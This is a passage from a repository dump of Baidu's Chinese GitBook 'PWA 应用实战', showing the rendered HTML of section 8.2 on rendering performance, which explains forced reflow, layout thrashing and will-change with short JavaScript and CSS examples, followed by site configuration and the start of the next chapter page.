CSS &#x7F16;&#x5199;&#x9AD8;&#x6027;&#x80FD;&#x7684;&#x52A8;&#x753B;&#xFF0C;&#x4F1A;&#x5728;&#x4E0B;&#x4E00;&#x5C0F;&#x8282;&#x91CC;&#x8BE6;&#x7EC6;&#x8BA8;&#x8BBA;&#x3002;</p>\n<p>&#x901A;&#x8FC7; JavaScript &#x89E6;&#x53D1;&#x9875;&#x9762;&#x5E03;&#x5C40;&#x65F6;&#xFF0C;&#x5BB9;&#x6613;&#x9020;&#x6210;&#x591A;&#x79CD;&#x6027;&#x80FD;&#x95EE;&#x9898;&#xFF0C;&#x5176;&#x4E2D;&#x6700;&#x5E38;&#x89C1;&#x7684;&#x662F; forced reflow&#xFF08;&#x5F3A;&#x5236;&#x91CD;&#x65B0;&#x5E03;&#x5C40;&#xFF09;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">const</span> box <span class=\"token operator\">=</span> document<span class=\"token punctuation\">.</span><span class=\"token function\">querySelector</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;.box&apos;</span><span class=\"token punctuation\">)</span>\n<span class=\"token keyword\">let</span> domRect <span class=\"token operator\">=</span> <span class=\"token keyword\">null</span>\n\n<span class=\"token keyword\">function</span> <span class=\"token function\">getBoxClientRect</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  domRect <span class=\"token operator\">=</span> box<span class=\"token punctuation\">.</span><span class=\"token function\">getBoundingClientRect</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span>\n\n<span class=\"token function\">requestAnimationFrame</span><span class=\"token punctuation\">(</span>getBoxClientRect<span class=\"token punctuation\">)</span>\n</code></pre>\n<p>&#x6211;&#x4EEC;&#x5728;&#x4E0B;&#x4E00;&#x5E27;&#x5F00;&#x59CB;&#x524D;&#x901A;&#x8FC7; <code>getBoundingClientRect()</code> &#x83B7;&#x53D6;&#x5143;&#x7D20;&#x7684;&#x5BBD;&#x9AD8;&#x53CA;&#x89C6;&#x53E3;&#x4F4D;&#x7F6E;&#xFF0C;&#x83B7;&#x53D6;&#x7684;&#x5176;&#x5B9E;&#x662F;&#x4E0A;&#x4E00;&#x5E27;&#x5DF2;&#x7ECF;&#x8BA1;&#x7B97;&#x597D;&#x7684;&#x5E03;&#x5C40;&#x4FE1;&#x606F;&#x3002;&#x4F46;&#x5982;&#x679C;&#x5728;&#x8FD9;&#x4E4B;&#x524D;&#x53C8;&#x4FEE;&#x6539;&#x4E86;&#x5143;&#x7D20;&#x7684;&#x5E03;&#x5C40;&#x5C5E;&#x6027;&#xFF0C;&#x90A3;&#x4E48;&#x4E3A;&#x4E86;&#x83B7;&#x53D6;&#x5F53;&#x524D;&#x6B63;&#x786E;&#x7684;&#x5E03;&#x5C40;&#x4FE1;&#x606F;&#xFF0C;&#x6D4F;&#x89C8;&#x5668;&#x53EA;&#x80FD;&#x88AB;&#x8FEB;&#x89E6;&#x53D1;&#x4E00;&#x6B21;&#x91CD;&#x65B0;&#x5E03;&#x5C40;&#x3002;&#x5982;&#x4E0B;&#x9762;&#x7684;&#x4EE3;&#x7801;&#x6240;&#x793A;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">const</span> box <span class=\"token operator\">=</span> document<span class=\"token punctuation\">.</span><span class=\"token function\">querySelector</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;.box&apos;</span><span class=\"token punctuation\">)</span>\n<span class=\"token keyword\">let</span> domRect <span class=\"token operator\">=</span> <span class=\"token keyword\">null</span>\n\n<span class=\"token keyword\">function</span> <span class=\"token function\">getBoxClientRect</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  box<span class=\"token punctuation\">.</span>style<span class=\"token punctuation\">.</span>width <span class=\"token operator\">=</span> <span class=\"token string\">&apos;360px&apos;</span>\n  domRect <span class=\"token operator\">=</span> box<span class=\"token punctuation\">.</span><span class=\"token function\">getBoundingClientRect</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token comment\">// forced reflow</span>\n<span class=\"token punctuation\">}</span>\n\n<span class=\"token function\">requestAnimationFrame</span><span class=\"token punctuation\">(</span>getBoxClientRect<span class=\"token punctuation\">)</span>\n</code></pre>\n<p>&#x4F46;&#x5982;&#x679C;&#x6211;&#x4EEC;&#x4EA4;&#x6362;&#x4E0A;&#x8FF0;&#x5199;&#x548C;&#x8BFB;&#x7684;&#x64CD;&#x4F5C;&#xFF0C;&#x5C31;&#x4E0D;&#x4F1A;&#x89E6;&#x53D1;&#x91CD;&#x65B0;&#x5E03;&#x5C40;&#x3002;&#x8FD9;&#x662F;&#x7531;&#x4E8E;&#x6D4F;&#x89C8;&#x5668;&#x5E76;&#x4E0D;&#x4F1A;&#x5728;&#x4FEE;&#x6539;&#x5143;&#x7D20;&#x5E03;&#x5C40;&#x5C5E;&#x6027;&#x540E;&#x76F4;&#x63A5;&#x91CD;&#x65B0;&#x5E03;&#x5C40;&#xFF0C;&#x800C;&#x662F;&#x4F1A;&#x5C06;&#x6240;&#x6709;&#x4FEE;&#x6539;&#x64CD;&#x4F5C;&#x5408;&#x5E76;&#xFF0C;&#x5728;&#x540E;&#x7EED;&#x4E00;&#x5E27;&#x7684;&#x5E03;&#x5C40;&#x4E2D;&#x7EDF;&#x4E00;&#x5904;&#x7406;&#x3002;&#x7B80;&#x5355;&#x6765;&#x8BF4;&#xFF0C;&#x59CB;&#x7EC8;&#x4FDD;&#x6301;&#x5E03;&#x5C40;&#x5C5E;&#x6027;&#x5148;&#x8BFB;&#x540E;&#x5199;&#xFF0C;&#x53EF;&#x4EE5;&#x6709;&#x6548;&#x56DE;&#x907F;&#x8FD9;&#x4E2A;&#x6027;&#x80FD;&#x95EE;&#x9898;&#x3002;</p>\n<p>&#x6211;&#x4EEC;&#x660E;&#x767D;&#x4E86;&#x5F3A;&#x5236;&#x91CD;&#x65B0;&#x5E03;&#x5C40;&#x7684;&#x539F;&#x7406;&#x540E;&#xFF0C;&#x53EF;&#x4EE5;&#x518D;&#x6765;&#x770B;&#x4E00;&#x79CD;&#x539F;&#x7406;&#x76F8;&#x540C;&#x4F46;&#x8F83;&#x4E3A;&#x9690;&#x853D;&#x7684;&#x6027;&#x80FD;&#x95EE;&#x9898;&#xFF0C;&#x88AB;&#x4E3A;&#x4F5C;&#x5E03;&#x5C40;&#x6296;&#x52A8;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">const</span> boxes <span class=\"token operator\">=</span> <span class=\"token punctuation\">[</span><span class=\"token operator\">...</span>document<span class=\"token punctuation\">.</span><span class=\"token function\">querySelectorAll</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;.box&apos;</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">]</span>\n\nboxes<span class=\"token punctuation\">.</span><span class=\"token function\">forEach</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">box</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">const</span> domRect <span class=\"token operator\">=</span> box<span class=\"token punctuation\">.</span><span class=\"token function\">getBoundingClientRect</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n\n  box<span class=\"token punctuation\">.</span>style<span class=\"token punctuation\">.</span>width <span class=\"token operator\">=</span> domRect<span class=\"token punctuation\">.</span>width <span class=\"token operator\">+</span> <span class=\"token number\">10</span> <span class=\"token operator\">+</span> <span class=\"token string\">&apos;px&apos;</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<p>&#x4E0A;&#x9762;&#x7684;&#x4F8B;&#x5B50;&#x8BD5;&#x56FE;&#x5C06;&#x6240;&#x6709; <code>.box</code> &#x5143;&#x7D20;&#x5BBD;&#x5EA6;&#x589E;&#x52A0; <code>10px</code> &#x3002;&#x770B;&#x4F3C;&#x4FDD;&#x6301;&#x4E86;&#x5BF9;&#x5E03;&#x5C40;&#x5C5E;&#x6027;&#x7684;&#x5148;&#x8BFB;&#x540E;&#x5199;&#xFF0C;&#x5B9E;&#x9645;&#x4E0A;&#x6D4F;&#x89C8;&#x5668;&#x5FEB;&#x901F;&#x800C;&#x8FDE;&#x7EED;&#x5730;&#x8FDB;&#x884C;&#x4E86;&#x5927;&#x91CF;&#x91CD;&#x65B0;&#x5E03;&#x5C40;&#x3002;&#x8FD9;&#x662F;&#x7531;&#x4E8E;&#x5728;&#x4E0B;&#x4E00;&#x6B21; <code>forEach()</code> &#x8FED;&#x4EE3;&#x4E2D;&#xFF0C;&#x901A;&#x8FC7; <code>getBoundingClientRect()</code> &#x83B7;&#x53D6;&#x5143;&#x7D20;&#x7684;&#x5E03;&#x5C40;&#x4FE1;&#x606F;&#x65F6;&#xFF0C;&#x5FC5;&#x987B;&#x8003;&#x8651;&#x4E0A;&#x4E00;&#x6B21;&#x8FED;&#x4EE3;&#x4E2D;&#x4FEE;&#x6539; <code>box.style.width</code> &#x53EF;&#x80FD;&#x9020;&#x6210;&#x7684;&#x5F71;&#x54CD;&#x3002;&#x4ECE;&#x800C;&#x6D4F;&#x89C8;&#x5668;&#x53EA;&#x80FD;&#x5728;&#x6BCF;&#x6B21;&#x8FED;&#x4EE3;&#x4E2D;&#x90FD;&#x89E6;&#x53D1;&#x4E00;&#x6B21;&#x91CD;&#x65B0;&#x5E03;&#x5C40;&#xFF0C;&#x9020;&#x6210;&#x5E03;&#x5C40;&#x6296;&#x52A8;&#x7684;&#x73B0;&#x8C61;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">const</span> boxes <span class=\"token operator\">=</span> <span class=\"token punctuation\">[</span><span class=\"token operator\">...</span>document<span class=\"token punctuation\">.</span><span class=\"token function\">querySelectorAll</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;.box&apos;</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">]</span>\n<span class=\"token keyword\">const</span> domRects <span class=\"token operator\">=</span> boxes<span class=\"token punctuation\">.</span><span class=\"token function\">map</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">box</span> <span class=\"token operator\">=&gt;</span> box<span class=\"token punctuation\">.</span><span class=\"token function\">getBoundingClientRect</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n\nboxes<span class=\"token punctuation\">.</span><span class=\"token function\">forEach</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">box<span class=\"token punctuation\">,</span> index</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  box<span class=\"token punctuation\">.</span>style<span class=\"token punctuation\">.</span>width <span class=\"token operator\">=</span> domRects<span class=\"token punctuation\">[</span>index<span class=\"token punctuation\">]</span><span class=\"token punctuation\">.</span>width <span class=\"token operator\">+</span> <span class=\"token number\">10</span> <span class=\"token operator\">+</span> <span class=\"token string\">&apos;px&apos;</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<p>&#x8C03;&#x6574;&#x5143;&#x7D20;&#x5E03;&#x5C40;&#x5C5E;&#x6027;&#x7684;&#x8BFB;&#x5199;&#x987A;&#x5E8F;&#xFF0C;&#x53EF;&#x8F7B;&#x6613;&#x5730;&#x89E3;&#x51B3;&#x5E03;&#x5C40;&#x6296;&#x52A8;&#x95EE;&#x9898;&#x3002;&#x53EA;&#x9700;&#x786E;&#x4FDD;&#x5E03;&#x5C40;&#x5C5E;&#x6027;&#x5148;&#x6279;&#x91CF;&#x8BFB;&#x53D6;&#xFF0C;&#x518D;&#x6279;&#x91CF;&#x5199;&#x5165;&#x5373;&#x53EF;&#x3002;</p>\n<h2 id=\"&#x4F18;&#x5316;&#x7ED8;&#x5236;&#x4E0E;&#x5408;&#x6210;\"><a name=\"&#x4F18;&#x5316;&#x7ED8;&#x5236;&#x4E0E;&#x5408;&#x6210;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x4F18;&#x5316;&#x7ED8;&#x5236;&#x4E0E;&#x5408;&#x6210;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x4F18;&#x5316;&#x7ED8;&#x5236;&#x4E0E;&#x5408;&#x6210;\" class=\"plugin-anchor\" href=\"#&#x4F18;&#x5316;&#x7ED8;&#x5236;&#x4E0E;&#x5408;&#x6210;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x4F18;&#x5316;&#x7ED8;&#x5236;&#x4E0E;&#x5408;&#x6210;</h2>\n<p>&#x7C7B;&#x4F3C;&#x5BF9;&#x5E03;&#x5C40;&#x64CD;&#x4F5C;&#x7684;&#x4F18;&#x5316;&#xFF0C;&#x8FD9;&#x4E00;&#x5C0F;&#x8282;&#x6211;&#x4EEC;&#x5173;&#x6CE8;&#x5982;&#x4F55;&#x51CF;&#x5C11;&#x91CD;&#x7ED8;&#x3002;&#x4E0A;&#x6587;&#x63D0;&#x5230;&#xFF0C;&#x4FEE;&#x6539;&#x5143;&#x7D20;&#x51E0;&#x4F55;&#x5F62;&#x6001;&#x76F8;&#x5173;&#x7684;&#x6837;&#x5F0F;&#x5C5E;&#x6027;&#xFF0C;&#x624D;&#x4F1A;&#x89E6;&#x53D1;&#x9875;&#x9762;&#x91CD;&#x65B0;&#x5E03;&#x5C40;&#x3002;&#x4F46;&#x5BF9;&#x4E8E;&#x7ED8;&#x5236;&#x6765;&#x8BF4;&#xFF0C;&#x6211;&#x4EEC;&#x80FD;&#x5F88;&#x76F4;&#x89C2;&#x5730;&#x60F3;&#x5230;&#xFF0C;&#x4FEE;&#x6539;&#x7EDD;&#x5927;&#x591A;&#x6570;&#x6837;&#x5F0F;&#x5C5E;&#x6027;&#x90FD;&#x4F1A;&#x5BFC;&#x81F4;&#x9875;&#x9762;&#x91CD;&#x7ED8;&#xFF0C;&#x8FD9;&#x5F88;&#x96BE;&#x907F;&#x514D;&#x3002;&#x4EC5;&#x6709;&#x7684;&#x4F8B;&#x5916;&#x662F; <code>transform</code> &#x548C; <code>opacity</code>&#xFF0C;&#x8FD9;&#x662F;&#x7531;&#x4E8E;&#x5B83;&#x4EEC;&#x53EF;&#x4EE5;&#x4EC5;&#x7531;&#x5408;&#x6210;&#x5668;&#x64CD;&#x4F5C;&#x56FE;&#x5C42;&#x6765;&#x5B9E;&#x73B0;&#x3002;&#x53E6;&#x5916;&#xFF0C;&#x5408;&#x6210;&#x5668;&#x8FD0;&#x884C;&#x5728;&#x5355;&#x72EC;&#x7684;&#x7EBF;&#x7A0B;&#x91CC;&#xFF0C;&#x5373;&#x4F7F;&#x6D4F;&#x89C8;&#x5668;&#x4E3B;&#x7EBF;&#x7A0B;&#x88AB;&#x963B;&#x585E;&#xFF0C;&#x5176;&#x6548;&#x679C;&#x4E5F;&#x4E0D;&#x4F1A;&#x53D7;&#x5230;&#x5F71;&#x54CD;&#x3002;&#x6240;&#x4EE5;&#xFF0C;<code>transform</code> &#x548C; <code>opacity</code> &#x975E;&#x5E38;&#x9002;&#x5408;&#x7528;&#x4E8E;&#x5B9E;&#x73B0;&#x52A8;&#x753B;&#x6548;&#x679C;&#xFF0C;&#x4F46;&#x6211;&#x4EEC;&#x4ECD;&#x9700;&#x8981;&#x901A;&#x8FC7; <code>will-change</code> &#x4E3A;&#x5B83;&#x4EEC;&#x521B;&#x5EFA;&#x72EC;&#x7ACB;&#x7684;&#x56FE;&#x5C42;&#xFF0C;&#x907F;&#x514D;&#x5F71;&#x54CD;&#x5176;&#x4ED6;&#x56FE;&#x5C42;&#x7684;&#x7ED8;&#x5236;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-css\"><span class=\"token selector\">.moving-element</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token property\">will-change</span><span class=\"token punctuation\">:</span> transform<span class=\"token punctuation\">,</span> opacity<span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<footer class=\"page-footer-ex\"> <span class=\"page-footer-ex-copyright\"> Copyright &#xA9;2019 <a href=\"https://github.com/lavas-project\" target=\"_blank\">&#x767E;&#x5EA6; Web &#x751F;&#x6001;&#x56E2;&#x961F;</a> <br>   <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\"><img src=\"https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png\" alt=\"&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;\"></a> &#x672C;&#x4E66;&#x91C7;&#x7528; <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\">&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x7F72;&#x540D;-&#x975E;&#x5546;&#x4E1A;&#x6027;&#x4F7F;&#x7528; 4.0 &#x56FD;&#x9645;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;</a> &#x8FDB;&#x884C;&#x8BB8;&#x53EF;&#x3002;<br>    &#x672C;&#x4E66;&#x4ECD;&#x5728;&#x52D8;&#x8BEF;&#x9636;&#x6BB5;&#xFF0C;&#x8BF7;&#x52FF;&#x4EE5;&#x4EFB;&#x4F55;&#x5F62;&#x5F0F;&#x79C1;&#x81EA;&#x4F20;&#x64AD;&#xFF0C;&#x6211;&#x4EEC;&#x4FDD;&#x7559;&#x5BF9;&#x672C;&#x4E66;&#x7684;&#x7248;&#x6743; </span> &#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <span class=\"page-footer-ex-footer-update\"> &#x8BE5;&#x6587;&#x4EF6;&#x4FEE;&#x8BA2;&#x65F6;&#x95F4;&#xFF1A; 2019-06-19 18:37:42 </span> </footer>\n                                \n                                </section>\n                            \n    </div>\n    <div class=\"search-results\">\n        <div class=\"has-results\">\n            \n            <h1 class=\"search-results-title\"><span class='search-results-count'></span> results matching \"<span class='search-query'></span>\"</h1>\n            <ul class=\"search-results-list\"></ul>\n            \n        </div>\n        <div class=\"no-results\">\n            \n            <h1 class=\"search-results-title\">No results matching \"<span class='search-query'></span>\"</h1>\n            \n        </div>\n    </div>\n</div>\n\n                        </div>\n                    </div>\n                \n            </div>\n\n            \n                \n                <a href=\"1-loading-performance.html\" class=\"navigation navigation-prev \" aria-label=\"Previous page: 8.1 加载性能 \">\n                    <i class=\"fa fa-angle-left\"></i>\n                </a>\n                \n                \n                <a href=\"../chapter09.html\" class=\"navigation navigation-next \" aria-label=\"Next page: 第9章 PWA 与搜索\">\n                    <i class=\"fa fa-angle-right\"></i>\n                </a>\n                \n            \n        \n    </div>\n\n    <script>\n        var gitbook = gitbook || [];\n        gitbook.push(function() {\n            gitbook.page.hasChanged({\"page\":{\"title\":\"8.2 渲染性能 \",\"level\":\"1.9.2\",\"depth\":2,\"next\":{\"title\":\"第9章 PWA 与搜索\",\"level\":\"1.10\",\"depth\":1,\"path\":\"chapter09.md\",\"ref\":\"chapter09.md\",\"articles\":[{\"title\":\"9.1 搜索引擎收录\",\"level\":\"1.10.1\",\"depth\":2,\"path\":\"chapter09/1-search-engine-index.md\",\"ref\":\"chapter09/1-search-engine-index.md\",\"articles\":[]},{\"title\":\"9.2 PWA 与 AMP/MIP\",\"level\":\"1.10.2\",\"depth\":2,\"path\":\"chapter09/2-pwa-and-amp-and-mip.md\",\"ref\":\"chapter09/2-pwa-and-amp-and-mip.md\",\"articles\":[]},{\"title\":\"9.3 全站 AMP/MIP\",\"level\":\"1.10.3\",\"depth\":2,\"path\":\"chapter09/3-whole-site-amp-and-mip.md\",\"ref\":\"chapter09/3-whole-site-amp-and-mip.md\",\"articles\":[]},{\"title\":\"9.4 AMP/MIP 预加载 PWA\",\"level\":\"1.10.4\",\"depth\":2,\"path\":\"chapter09/4-preload-pwa.md\",\"ref\":\"chapter09/4-preload-pwa.md\",\"articles\":[]}]},\"previous\":{\"title\":\"8.1 加载性能 \",\"level\":\"1.9.1\",\"depth\":2,\"path\":\"chapter08/1-loading-performance.md\",\"ref\":\"chapter08/1-loading-performance.md\",\"articles\":[]},\"dir\":\"ltr\"},\"config\":{\"plugins\":[\"-lunr\",\"-search\",\"anchors\",\"search-plus\",\"-livereload\",\"simple-page-toc\",\"prism\",\"prism-themes\",\"-highlight\",\"advanced-emoji\",\"include-codeblock\",\"-sharing\",\"sharing-plus\",\"ace\",\"emphasize\",\"splitter\",\"page-footer-ex\",\"expandable-chapters-small\",\"sectionx\",\"local-video\",\"anchor-navigation-ex\",\"favicon\",\"todo\",\"edit-link\",\"3-ba\",\"chart\",\"disqus\",\"github\"],\"root\":\".\",\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"pluginsConfig\":{\"prism\":{\"css\":[\"prismjs/themes/prism-okaidia.css\"]},\"disqus\":{\"useIdentifier\":false,\"shortName\":\"lavas-project-github-io\"},\"emphasize\":{},\"ace\":{},\"github\":{\"url\":\"https://github.com/lavas-project/pwa-book\"},\"simple-page-toc\":{},\"todo\":{},\"page-footer-ex\":{\"copyright\":\"Copyright ©2019 [百度 Web 生态团队](https://github.com/lavas-project) <br/>   [![知识共享许可协议](https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png)](http://creativecommons.org/licenses/by-nc-nd/4.0/) 本书采用 [知识共享署名-非商业性使用 4.0 国际许可协议](http://creativecommons.org/licenses/by-nc-nd/4.0/) 进行许可。<br/>    本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权\",\"markdown\":true,\"update_format\":\"YYYY-MM-DD HH:mm:ss\",\"update_label\":\"该文件修订时间：\"},\"splitter\":{},\"sharing-plus\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\"],\"douban\":false,\"facebook\":true,\"weibo\":false,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":true,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":true,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":false},\"fontsettings\":{\"theme\":\"white\",\"family\":\"sans\",\"size\":2},\"sectionx\":{\"tag\":\"b\"},\"anchor-navigation-ex\":{\"mode\":\"float\",\"pageTop\":{\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false},\"isRewritePageTitle\":false,\"showLevel\":false,\"tocLevel1Icon\":\"fa fa-hand-o-right\",\"tocLevel2Icon\":\"fa fa-hand-o-right\",\"tocLevel3Icon\":\"fa fa-hand-o-right\",\"showGoTop\":true,\"printLog\":false,\"multipleH1\":true,\"associatedWithSummary\":true,\"float\":{\"floatIcon\":\"fa fa-navicon\",\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false}},\"favicon\":{\"shortcut\":\"favicon.ico\",\"bookmark\":\"favicon.ico\"},\"prism-themes\":{},\"3-ba\":{\"configuration\":\"auto\",\"token\":\"c45e843439f6364ead89fd505f1abb68\"},\"expandable-chapters-small\":{},\"local-video\":{},\"advanced-emoji\":{\"embedEmojis\":false},\"include-codeblock\":{\"check\":false,\"edit\":true,\"fixlang\":false,\"lang\":\"\",\"template\":\"ace\",\"theme\":\"chrome\",\"unindent\":true},\"sharing\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"weibo\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\",\"qq\",\"qzone\"],\"douban\":true,\"facebook\":false,\"weibo\":true,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":false,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":false,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":true},\"terminal\":{\"copyButtons\":true,\"fade\":false,\"style\":\"flat\"},\"edit-link\":{\"label\":\"编辑此页\",\"base\":\"https://github.com/lavas-project/pwa-book/edit/master\"},\"theme-default\":{\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"showLevel\":false},\"anchors\":{},\"chart\":{\"type\":\"c3\"},\"search-plus\":{}},\"theme\":\"default\",\"author\":\"lavas <lavas@baidu.com>\",\"pdf\":{\"pageNumbers\":true,\"fontSize\":12,\"fontFamily\":\"Arial\",\"paperSize\":\"a4\",\"chapterMark\":\"pagebreak\",\"pageBreaksBefore\":\"/\",\"margin\":{\"right\":62,\"left\":62,\"top\":56,\"bottom\":56}},\"structure\":{\"langs\":\"LANGS.md\",\"readme\":\"README.md\",\"glossary\":\"GLOSSARY.md\",\"summary\":\"SUMMARY.md\"},\"variables\":{},\"title\":\"PWA 应用实战\",\"language\":\"zh-hans\",\"gitbook\":\"3.2.3\",\"description\":\"PWA 开发实战\"},\"file\":{\"path\":\"chapter08/2-rendering-performance.md\",\"mtime\":\"2019-06-19T10:37:42.414Z\",\"type\":\"markdown\"},\"gitbook\":{\"version\":\"3.2.3\",\"time\":\"2019-06-19T10:40:03.787Z\"},\"basePath\":\"..\",\"book\":{\"language\":\"\"}});\n        });\n    </script>\n</div>\n\n        \n    <script src=\"../gitbook/gitbook.js\"></script>\n    <script src=\"../gitbook/theme.js\"></script>\n    \n        \n        <script src=\"../gitbook/gitbook-plugin-search-plus/jquery.mark.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-search-plus/search.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-sharing-plus/buttons.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-ace/ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-splitter/splitter.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.js\"></script>\n        \n    \n        \n        <script src=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-sectionx/sectionx.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-local-video/video.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-edit-link/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-3-ba/plugin.js\"></script>\n        \n    \n        \n        <script src=\"https://cdnjs.cloudflare.com/ajax/libs/URI.js/1.16.1/URI.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-disqus/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-github/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-fontsettings/fontsettings.js\"></script>\n        \n    \n\n    </body>\n</html>\n\n"
  },
  {
    "path": "docs/chapter08.html",
    "content": "\n<!DOCTYPE HTML>\n<html lang=\"zh-hans\" >\n    <head>\n        <meta charset=\"UTF-8\">\n        <meta content=\"text/html; charset=utf-8\" http-equiv=\"Content-Type\">\n        <title>第8章 性能 · PWA 应用实战</title>\n        <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\" />\n        <meta name=\"description\" content=\"\">\n        <meta name=\"generator\" content=\"GitBook 3.2.3\">\n        <meta name=\"author\" content=\"lavas <lavas@baidu.com>\">\n        \n        \n    \n    <link rel=\"stylesheet\" href=\"gitbook/style.css\">\n\n    \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-anchors/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-search-plus/search.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-prism/prism-okaidia.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-advanced-emoji/emoji-website.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-ace/ace.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-emphasize/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-splitter/splitter.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-page-footer-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-sectionx/sectionx.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-local-video/video-js.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-anchor-navigation-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-disqus/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" 